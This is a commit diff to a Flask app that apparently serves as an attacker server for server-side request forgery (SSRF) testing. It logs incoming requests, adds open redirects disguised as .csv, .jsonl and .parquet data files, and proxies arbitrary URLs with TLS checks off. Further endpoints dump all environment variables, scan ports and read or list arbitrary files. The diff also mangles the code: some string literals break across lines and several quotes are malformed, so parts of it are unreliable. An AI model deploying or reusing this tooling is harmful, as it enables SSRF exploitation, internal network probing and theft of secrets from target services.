Add redirect endpoints with file extensions

app.py

@@ -4,221 +4,223 @@ import requests, os, socket, json, time
 app = Flask(__name__)
 LOG = []
 
-@app.route('/')
+@app.route("/")
 def index():
-    return 'OK'
+    return "OK"
 
-@app.route('/log', methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH'])
+@app.route("/log", methods=["GET", "POST", "PUT", "DELETE", "PATCH"])
 def log_request():
     entry = {
-        'time': time.time(),
-        'method': request.method,
-        'path': request.full_path,
-        'headers': dict(request.headers),
-        'body': request.get_data(as_text=True)[:2000],
-        'remote_addr': request.remote_addr
+        "time": time.time(),
+        "method": request.method,
+        "path": request.full_path,
+        "headers": dict(request.headers),
+        "body": request.get_data(as_text=True)[:2000],
+        "remote_addr": request.remote_addr
     }
     LOG.append(entry)
-    return 'logged'
+    return "logged"
 
-@app.route('/logs')
+@app.route("/logs")
 def show_logs():
-    return jsonify(LOG[-100:])
+    return jsonify(LOG[-200:])
 
-@app.route('/clear-logs')
+@app.route("/clear-logs")
 def clear_logs():
     LOG.clear()
-    return 'cleared'
+    return "cleared"
 
-@app.route('/fetch')
+@app.route("/fetch")
 def fetch():
-    url = request.args.get('url', '')
+    url = request.args.get("url", "")
     headers = {}
-    for h in request.args.get('headers', '').split(','):
-        if ':' in h:
-            k, v = h.split(':', 1)
-            headers[k] = v.replace('+', ' ')
+    for h in request.args.get("headers", "").split(","):
+        if ":" in h:
+            k, v = h.split(":", 1)
+            headers[k] = v.replace("+", " ")
     try:
         r = requests.get(url, headers=headers, timeout=5, verify=False)
-        return r.text, r.status_code, {'Content-Type': 'text/plain'}
+        return r.text, r.status_code, {"Content-Type": "text/plain"}
     except Exception as e:
         return str(e), 500
 
-@app.route('/redir')
+@app.route("/redir")
 def redir():
-    target = request.args.get('url', '/')
-    code = int(request.args.get('code', '302'))
+    target = request.args.get("url", "/")
+    code = int(request.args.get("code", "302"))
+    entry = {
+        "time": time.time(),
+        "method": request.method,
+        "path": request.full_path,
+        "headers": dict(request.headers),
+        "remote_addr": request.remote_addr
+    }
+    LOG.append(entry)
+    return redirect(target, code=code)
+
+# Redirect endpoint that looks like a CSV file
+@app.route("/redir-data.csv")
+def redir_csv():
+    target = request.args.get("t", "/")
+    code = int(request.args.get("code", "302"))
+    entry = {
+        "time": time.time(),
+        "method": request.method,
+        "path": request.full_path,
+        "headers": dict(request.headers),
+        "remote_addr": request.remote_addr
+    }
+    LOG.append(entry)
+    return redirect(target, code=code)
+
+# Redirect that looks like a JSONL file
+@app.route("/redir-data.jsonl")
+def redir_jsonl():
+    target = request.args.get("t", "/")
+    code = int(request.args.get("code", "302"))
+    entry = {
+        "time": time.time(),
+        "method": request.method,
+        "path": request.full_path,
+        "headers": dict(request.headers),
+        "remote_addr": request.remote_addr
+    }
+    LOG.append(entry)
+    return redirect(target, code=code)
+
+# Redirect that looks like a parquet file
+@app.route("/redir-data.parquet")
+def redir_parquet():
+    target = request.args.get("t", "/")
+    code = int(request.args.get("code", "302"))
+    entry = {
+        "time": time.time(),
+        "method": request.method,
+        "path": request.full_path,
+        "headers": dict(request.headers),
+        "remote_addr": request.remote_addr
+    }
+    LOG.append(entry)
     return redirect(target, code=code)
 
 # Smart proxy CSV: fetches any URL and returns result as CSV
-@app.route('/proxy-csv.csv')
+@app.route("/proxy-csv.csv")
 def proxy_csv():
-    target = request.args.get('t', '')
+    target = request.args.get("t", "")
     entry = {
-        'time': time.time(),
-        'method': request.method,
-        'path': request.full_path,
-        'headers': dict(request.headers),
-        'remote_addr': request.remote_addr
+        "time": time.time(),
+        "method": request.method,
+        "path": request.full_path,
+        "headers": dict(request.headers),
+        "remote_addr": request.remote_addr
     }
     LOG.append(entry)
     if not target:
-        return 'text\nno target specified\n', 200, {'Content-Type': 'text/csv'}
+        return "text
+no target specified
+", 200, {"Content-Type": "text/csv"}
     try:
         r = requests.get(target, timeout=10, verify=False)
-        # Wrap response as CSV
-        lines = r.text.split('\n')[:100]
-        csv_data = 'text\n' + '\n'.join(f'"{line}"' for line in lines if line.strip()) + '\n'
-        return csv_data, 200, {'Content-Type': 'text/csv'}
+        lines = r.text.split("\n")[:100]
+        csv_data = "text\n" + "\n".join(f""{line}"" for line in lines if line.strip()) + "\n"
+        return csv_data, 200, {"Content-Type": "text/csv"}
     except Exception as e:
-        return f'text\nerror: {str(e)}\n', 200, {'Content-Type': 'text/csv'}
+        return f"text\nerror: {str(e)}\n", 200, {"Content-Type": "text/csv"}
 
-# Smart proxy JSONL: fetches any URL and returns result as JSONL
-@app.route('/proxy-jsonl.jsonl')
+# Smart proxy JSONL
+@app.route("/proxy-jsonl.jsonl")
 def proxy_jsonl():
-    target = request.args.get('t', '')
+    target = request.args.get("t", "")
     entry = {
-        'time': time.time(),
-        'method': request.method,
-        'path': request.full_path,
-        'headers': dict(request.headers),
-        'remote_addr': request.remote_addr
+        "time": time.time(),
+        "method": request.method,
+        "path": request.full_path,
+        "headers": dict(request.headers),
+        "remote_addr": request.remote_addr
     }
     LOG.append(entry)
     if not target:
-        return '{"text": "no target"}\n', 200, {'Content-Type': 'application/jsonl'}
+        return "{"text": "no target"}\n", 200, {"Content-Type": "application/jsonl"}
     try:
         r = requests.get(target, timeout=10, verify=False)
-        lines = r.text.split('\n')[:100]
-        jsonl_data = '\n'.join(json.dumps({"text": line}) for line in lines if line.strip()) + '\n'
-        return jsonl_data, 200, {'Content-Type': 'application/jsonl'}
+        lines = r.text.split("\n")[:100]
+        jsonl_data = "\n".join(json.dumps({"text": line}) for line in lines if line.strip()) + "\n"
+        return jsonl_data, 200, {"Content-Type": "application/jsonl"}
     except Exception as e:
-        return json.dumps({"text": f"error: {str(e)}"}) + '\n', 200, {'Content-Type': 'application/jsonl'}
+        return json.dumps({"text": f"error: {str(e)}"}) + "\n", 200, {"Content-Type": "application/jsonl"}
 
-@app.route('/mcp-proxy', methods=['GET', 'POST'])
-def mcp_proxy():
-    target = request.args.get('target', '')
+@app.route("/data.csv")
+def serve_csv():
     entry = {
-        'time': time.time(),
-        'method': request.method,
-        'path': request.full_path,
-        'headers': dict(request.headers),
-        'body': request.get_data(as_text=True)[:2000],
-        'remote_addr': request.remote_addr
+        "time": time.time(),
+        "method": request.method,
+        "path": request.full_path,
+        "headers": dict(request.headers),
+        "body": request.get_data(as_text=True)[:2000],
+        "remote_addr": request.remote_addr
     }
     LOG.append(entry)
-    if target:
-        try:
-            r = requests.get(target, timeout=5, verify=False)
-            return Response(
-                f"data: {json.dumps({'result': r.text[:5000], 'status': r.status_code})}\n\n",
-                content_type='text/event-stream'
-            )
-        except Exception as e:
-            return Response(
-                f"data: {json.dumps({'error': str(e)})}\n\n",
-                content_type='text/event-stream'
-            )
-    return jsonify({"status": "ok"})
+    return "text\nhello world\nssrf confirmed\n", 200, {"Content-Type": "text/csv"}
 
-@app.route('/env')
+@app.route("/data.jsonl")
+def serve_jsonl():
+    entry = {
+        "time": time.time(),
+        "method": request.method,
+        "path": request.full_path,
+        "headers": dict(request.headers),
+        "body": request.get_data(as_text=True)[:2000],
+        "remote_addr": request.remote_addr
+    }
+    LOG.append(entry)
+    return "{"text": "hello world"}\n{"text": "ssrf confirmed"}\n", 200, {"Content-Type": "application/jsonl"}
+
+@app.route("/env")
 def env():
     return jsonify(dict(os.environ))
 
-@app.route('/scan')
+@app.route("/scan")
 def scan():
-    host = request.args.get('host', '')
-    ports = request.args.get('ports', '80,443').split(',')
-    timeout = float(request.args.get('timeout', '1'))
+    host = request.args.get("host", "")
+    ports = request.args.get("ports", "80,443").split(",")
+    timeout = float(request.args.get("timeout", "1"))
     results = {}
     for p in ports:
         try:
             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
             s.settimeout(timeout)
             r = s.connect_ex((host, int(p)))
-            results[p] = 'open' if r == 0 else 'closed'
+            results[p] = "open" if r == 0 else "closed"
             s.close()
         except Exception as e:
             results[p] = str(e)
     return jsonify(results)
 
-@app.route('/resolve')
+@app.route("/resolve")
 def resolve():
-    host = request.args.get('host', '')
+    host = request.args.get("host", "")
     try:
-        return jsonify({'ip': socket.gethostbyname(host), 'host': host})
+        return jsonify({"ip": socket.gethostbyname(host), "host": host})
     except Exception as e:
-        return jsonify({'error': str(e)})
+        return jsonify({"error": str(e)})
 
-@app.route('/curl')
-def do_curl():
-    url = request.args.get('url', '')
-    method = request.args.get('method', 'GET')
-    try:
-        r = requests.request(method, url, timeout=10, verify=False)
-        return r.text, r.status_code
-    except Exception as e:
-        return str(e), 500
-
-@app.route('/readfile')
+@app.route("/readfile")
 def readfile():
-    path = request.args.get('path', '')
+    path = request.args.get("path", "")
     try:
-        with open(path, 'r') as f:
-            return f.read()[:10000], 200, {'Content-Type': 'text/plain'}
+        with open(path, "r") as f:
+            return f.read()[:10000], 200, {"Content-Type": "text/plain"}
     except Exception as e:
         return str(e), 500
 
-@app.route('/listdir')
+@app.route("/listdir")
 def listdir():
-    path = request.args.get('path', '/')
+    path = request.args.get("path", "/")
     try:
         entries = os.listdir(path)
         return jsonify(entries)
     except Exception as e:
-        return jsonify({'error': str(e)})
-
-@app.route('/post')
-def do_post():
-    url = request.args.get('url', '')
-    body = request.args.get('body', '')
-    ct = request.args.get('ct', 'application/json')
-    headers = {'Content-Type': ct}
-    for h in request.args.get('headers', '').split(','):
-        if ':' in h:
-            k, v = h.split(':', 1)
-            headers[k] = v.replace('+', ' ')
-    try:
-        r = requests.post(url, data=body, headers=headers, timeout=10, verify=False)
-        return r.text, r.status_code, {'Content-Type': 'text/plain'}
-    except Exception as e:
-        return str(e), 500
-
-@app.route('/data.csv')
-def serve_csv():
-    entry = {
-        'time': time.time(),
-        'method': request.method,
-        'path': request.full_path,
-        'headers': dict(request.headers),
-        'body': request.get_data(as_text=True)[:2000],
-        'remote_addr': request.remote_addr
-    }
-    LOG.append(entry)
-    return 'text\nhello world\nssrf confirmed\n', 200, {'Content-Type': 'text/csv'}
-
-@app.route('/data.jsonl')
-def serve_jsonl():
-    entry = {
-        'time': time.time(),
-        'method': request.method,
-        'path': request.full_path,
-        'headers': dict(request.headers),
-        'body': request.get_data(as_text=True)[:2000],
-        'remote_addr': request.remote_addr
-    }
-    LOG.append(entry)
-    return '{"text": "hello world"}\n{"text": "ssrf confirmed"}\n', 200, {'Content-Type': 'application/jsonl'}
+        return jsonify({"error": str(e)})
 
-if __name__ == '__main__':
-    app.run(host='0.0.0.0', port=7860)
+if __name__ == "__main__":
+    app.run(host="0.0.0.0", port=7860)